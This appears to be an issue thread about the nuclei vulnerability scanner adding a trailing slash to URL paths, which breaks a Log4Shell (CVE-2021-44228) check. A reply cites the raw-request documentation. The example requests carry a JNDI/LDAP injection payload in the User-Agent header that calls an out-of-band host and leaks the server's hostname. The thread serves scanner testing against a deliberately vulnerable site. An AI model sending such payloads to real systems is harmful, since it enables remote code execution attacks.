The latest version will add "/" to the urlpath.

[j4vaovo]

For example, I want to check if a url has a header log4j2
nuclei automatically adds '/' to the urlpath, which causes the check to fail.

nuclei -id CVE-2021-44228 -u http://testphp.vulnweb.com/index.php

GET /index.php/ HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: ${jndi:ldap://${:-350}${:-321}.${hostName}.useragent.cnsug455p36ke354ca4gethghebzmetsw.oast.fun}

Expected behavior

GET /index.php HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: ${jndi:ldap://${:-350}${:-321}.${hostName}.useragent.cnsug455p36ke354ca4gethghebzmetsw.oast.fun}

[derekkddj]

acording to nuclei documentation, If you dont want to add a final slash the nuclei template should not have the / in "raw" requests.
https://docs.projectdiscovery.io/templates/protocols/http/raw-http

To make a request to the URL specified as input without any additional tampering, a blank Request URI can be used as specified below which will make the request to user specified input.

    - raw:
      - |
        GET HTTP/1.1
        Host: {{Hostname}}